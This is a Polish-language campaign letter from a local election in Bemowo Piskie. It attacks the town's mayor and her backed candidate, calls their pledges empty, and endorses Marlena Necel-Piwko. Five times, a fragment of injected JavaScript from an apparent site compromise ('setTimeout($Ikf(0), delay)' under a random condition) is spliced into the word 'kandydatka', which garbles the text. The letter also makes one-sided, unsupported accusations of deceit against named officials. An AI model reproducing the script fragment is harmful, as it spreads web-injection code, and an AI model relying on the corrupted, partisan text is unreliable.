Puste obietnice, czy rozwój Bemowa Piskiego? Decyzja w Waszych rękach!

W niedzielę wybory w Bemowie Piskim. Rada Osiedla, już niedługo pani sołtys i inne osoby wywiesili na klatkach schodowych pismo, w którym „udowadniają” mi kłamstwa. Z tego co słyszałem, w kilku domach odbyły się regularne kłótnie kiedy, ktoś to pismo dostarczył, o to żeby tego pisma nie podpisywać. Oczywiście podobno obietnice płynące z Urzędu Miejskiego, załatwiły temat i podpisy się znalazły. Mam tylko nadzieję, że te osoby zobaczą te obietnice zrealizowane, bo obiecać to nasza pani burmistrz może zupełnie wszystko. Na obietnicach niestety się kończy.

Nie będę odnosił się do tych punktów, które są zawarte w tym pisemku od Rady Osiedla, bo nie komentuję rzeczy, które nie są warte komentarza. Ja wiem, że Pani Alicja, kandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andydatka wspierana przez obiecującą panią burmistrz, musi jakoś poprowadzić kampanię. Dlatego pewnie daje się prowadzić tym, którzy prowadzili kampanie pani burmistrz i jej samej. Szkoda, że skoro Pani Alicja taka fantastyczna i wybitna aktywistka (jak pisze o niej pani burmistrz), zadaje się z taką osobą jak pani burmistrz, bo chyba powinna już po półtora roku wiedzieć, że nie warto. Jeśli chce Pani być utożsamiana z osobą, która jest tak wiarygodna, jak nasza burmistrz to proszę bardzo. Ja bym nie chciał. Dlatego dziwie się Pani, Pani Alicjo, że idzie Pani w stronę osób skazanych na porażkę. Już niedługo referendum. Przekona się pani co zostanie z pani o pseudonimie „puste obietnice”. Niech Pani nie myśli, że nasza Gmina to WOŚP, Żywa Ulica i serduszka na nakrętki. Oczywiście to potrzebne bardzo akcje, ale nasza Gmina to przede wszystkim ludzie. Ludzie bez pracy, bez szansy na normalne życie, ludzie pogubieni, ludzie którzy chcą normalnie żyć i funkcjonować. Do takich ludzi skierowała swoje obietnice Pani mentorka 1,5 roku temu. Ci ludzie jej zaufali. Niech ich Pani teraz spyta, czy się z tego cieszą? Niech pani wyjdzie na ulice i porozmawia z ludźmi, którzy dziś przepraszają za to, że głosowali na panią burmistrz. To powinna być dla Pani odpowiedź na pytanie, z kim się Pani zadała. Niech Pani popatrzy na jakość 6 Radnych z obozu pani burmistrz. Zero głosu na sesjach (poza filozofem). Maszynki do głosowania. Taka grupę chce Pani reprezentować. Pani wybór.

Pani poprzednik zrezygnował, bo ponoć nie mógł znieść tego co się dzieje w Internecie. A ja Pani powiem, że zrezygnował z zupełnie innego powodu. Po prostu prawda wyszła na jaw. I skończyło się mydlenie oczu. Sytuacja stała się na tyle nie do zniesienia dla niego, że złożył rezygnację. Powiedział to Pani? Nie sądzę. Bo w życiu trzeba umieć dotrzymywać danego słowa. Sądzę, że dała się Pani wrobić w kandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andydowanie stekiem takich samych obietnic jak ludzie 1,5 roku temu. Ta sama katarynka, ta sama melodia, tylko na szczęście słuchacze wyrobili sobie gust muzyczny i słyszą fałszywe nuty.

Mieszkańcy Bemowa Piskiego bardzo mocno poparli panią burmistrz w wyborach. Teraz jest to dla pani burmistrz kwestia honoru, żeby jej kandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andydatka przeszła. Oczywiście, tylko, że ludzie w Bemowie też maja swój honor i wiedzą, że zostali oszukani. Macie 800 miejsc pracy? Dojeżdżacie wszędzie po asfalcie? Bezrobotni już pracują? Gdzie jest Wasz elektryczny autobus? Czy wasze dzieci mają już darmowe obiady? Macie żłobek? Najważniejsze, że chcecie być sołectwem, to jest teraz zdaniem pani burmistrz najważniejsze dla Bemowa Piskiego. Jeśli wygra kandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andydatka pani burmistrz, to ja zagłosuję za sołectwem, jeśli nie wygra, to będzie znaczyło, że nie chcecie sołectwa. Wszystko w Waszych rękach. Pieniądze dla Was w następnym budżecie się znajdą, bez względu na to czy będziecie sołectwem czy nie. Bo nowy Burmistrz Wam to zagwarantuje. Obecna obieca.

Kandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andydatką, którą wspieram i w pełni popieram jest Marlena Necel-Piwko. Odważna kobieta, pełna zapału i wiary w Was, swoich sąsiadów. Wychowana wśród Was, znana Wam wszystkim. Bardzo kompetentna w swojej pracy zawodowej. Bardzo kontaktowa i otwarta na ludzi. Kochająca Bemowo Piskie i pragnąca jego rozwoju. To właśnie ona nie chodzi po Bemowie i nie opowiada pustych obietnic. Rozmawia z Wami i próbuje określić schemat działania na najbliższe 3,5 roku. Wolicie puste obietnice? Nie wierzę! Dajcie szansę Marlenie! Bardzo Was o to proszę. W ten sposób zapewnicie sobie spokój i dacie szansę na rozwój Bemowa Piskiego. Jak rozwija się Gmina widzicie chyba najlepiej. Nie dajcie się zwieść zrobioną drogą w Bemowie, bo to zaplanował i przygotował do realizacji poprzedni Burmistrz. Nadszedł czas decyzji dla Bemowa Piskiego. W czasie koronawirusa, trzeba oddać głos! Trzeba wybrać! Trzeba iść głosować! Wybierzcie Marlenę Necel-Piwko, jako dobre lekarstwo dla Bemowa Piskiego! Bo koronawirus przeminie, a Bemowo Piskie będzie trwać. Oby miało godnego dla siebie reprezentanta w Radzie Miejskiej. Tego Wam życzę z całego serca.